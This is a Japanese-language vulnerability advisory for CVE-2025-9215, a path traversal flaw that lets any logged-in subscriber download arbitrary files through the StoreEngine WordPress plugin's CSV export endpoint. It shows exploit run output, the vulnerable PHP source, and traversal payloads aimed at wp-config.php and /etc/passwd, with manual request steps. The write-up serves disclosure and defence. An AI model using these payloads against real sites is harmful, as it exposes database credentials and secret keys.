
StoreEngine – 強力なWordPress eコマースプラグイン(支払い、メンバーシップ、アフィリエイト、販売など) <= 1.4.0 - 認証された(購読者+)任意のファイルダウンロード
StoreEngineプラグインのCSVインポート/エクスポート機能には、認証されたすべてのユーザー(購読者、投稿者、編集者など)がサーバーから任意のファイル(機密性の高いシステムファイル、WordPress設定ファイル、プラグインソースコードを含む)をダウンロードできる脆弱性が含まれています。この脆弱性は、storeengine_csv/file_downloadエンドポイントが適切なパスサニタイズを行わず、セキュリティをnonce検証のみに依存している一方で、storeengine_nonceがプラグインのJavaScriptを通じてすべてのフロントエンドユーザーに公開されていることに起因します。注:この脆弱性を悪用するには、管理者がCSVインポート/エクスポートアドオンを有効にする必要があります。 有効になると、この組み合わせにより、認証された任意のユーザーがフロントエンドページからnonceを抽出し、パストラバーサル攻撃を介してサーバー上の任意のファイルをダウンロードできるようになり、事実上、購読者以上のユーザーに機密性の高いシステムファイルやアプリケーションファイルへのアクセスを許可します。
python3 ./CVE-2025-9215.py http://localhost:1337 user1 password
Logging into: http://localhost:1337/wp-admin
NOTE: This exploit works with any authenticated user (subscriber, author, editor, etc.)
Extracting nonce from frontend scripts (accessible to any user)...
storeengine_nonce: 82cb37f678
NOTE: This nonce is exposed to ALL frontend users, making the vulnerability exploitable by any authenticated user!
NOTE: CSV Import/Export addon must be enabled by an administrator before exploitation.
This exploit demonstrates the vulnerability once the addon is already enabled.
The addon activation requires 'manage_options' capability (admin only).
Downloading wp-config.php via path traversal...
<?php
/**
* The base configuration for WordPress
*
* The wp-config.php creation script uses this file during the installation.
* You don't have to use the website, you can copy this file to "wp-config.php"
* and fill in the values.
*
* This file contains the following configurations:
*
* * Database settings
* * Secret keys
...
...
...
注:この脆弱性を悪用するには、管理者がCSVインポート/エクスポートアドオンを有効にする必要があります。 アドオン有効化エンドポイント(storeengine/saved_addon_status)にはmanage_options権限が必要であり、管理者のみがこの機能を有効にできることを意味します。
storeengine_csv/file_download AJAXアクションは、/wp-content/plugins/storeengine/addons/csv/ajax/export.phpの47行目にあるfile_download()関数を呼び出します。この関数は適切なパスサニタイズが行われておらず、任意のファイルダウンロードを許可します:
public function file_download( array $payload ) {
if ( ! isset( $payload['filename'] ) ) {
wp_send_json_error( __( 'Filename is required.', 'storeengine' ) );
}
$filename = $payload['filename'];
$filepath = Helper::get_upload_dir() . '/csv/' . $filename; // <-- VULNERABLE TO PATH TRAVERSAL!
// NO CAPABILITY CHECK - ANY USER CAN DOWNLOAD ANY FILE!
// NO PATH SANITIZATION - DIRECT CONCATENATION ALLOWS ../ ATTACKS!
if ( ! file_exists( $filepath ) ) {
wp_send_json_error( __( 'File not found.', 'storeengine' ) );
}
header( 'Content-Type: application/octet-stream' );
header( 'Content-Disposition: attachment; filename="' . $filename . '"' );
readfile( $filepath ); // <-- READS AND OUTPUTS ANY FILE!
exit;
}
脆弱なパス構築により、完全なパストラバーサルが可能になります:
// Helper::get_upload_dir() returns:
$upload = wp_upload_dir();
return $upload['basedir'] . '/storeengine_uploads';
// So the full path becomes:
$filepath = '/path/to/wp-content/uploads/storeengine_uploads/csv/' . $filename;
// With path traversal, this becomes:
$filepath = '/path/to/wp-content/uploads/storeengine_uploads/csv/../../../wp-config.php'
$filepath = '/path/to/wp-content/uploads/storeengine_uploads/csv/../../../../../../etc/passwd'
storeengine_nonceは、プラグインのJavaScriptを通じてすべてのフロントエンドユーザーに公開されています。これは、/wp-content/plugins/storeengine/includes/assets.phpの279行目の_get_script_data()メソッドで発生します:
public function _get_script_data(): array {
// ... other data ...
return [
'nonce' => wp_create_nonce( 'wp_rest' ),
'storeengine_nonce' => wp_create_nonce( 'storeengine_nonce' ), // Line 279 - EXPOSED TO ALL USERS
'rest_url' => esc_url_raw( rest_url() ),
// ... other data ...
];
}
このnonceは、120行目のfrontend_scripts()メソッドを介してフロントエンドJavaScriptにローカライズされます:
wp_localize_script(
'storeengine-frontend-scripts',
'StoreEngineGlobal',
$this->get_frontend_script_data() // Calls _get_script_data()
);
nonceは、/wp-content/plugins/storeengine/includes/classes/abstract-request-handler.phpの510行目のAbstractRequestHandler::check_permission()メソッドで検証されます:
protected function check_permission( string $capability, bool $allow_visitors = false ) {
if ( ( ! is_user_logged_in() && ! $allow_visitors ) || ( is_user_logged_in() && $capability && ! current_user_can( $capability ) ) ) {
return new WP_Error(/* ... */);
}
return true;
}
この組み合わせにより、認証された任意のユーザーがCSRF保護をバイパスし、機密設定ファイル、ソースコード、および場合によってはシステムファイルを含むサーバー上の任意のファイルをダウンロードできます。
storeengine_csv/file_downloadアクションを呼び出す/wp-admin/admin-ajax.phpへのリクエストをインターセプトします。filename=../../../../wp-config.phpを指定してリクエストを送信し、WordPress設定ファイルをダウンロードします。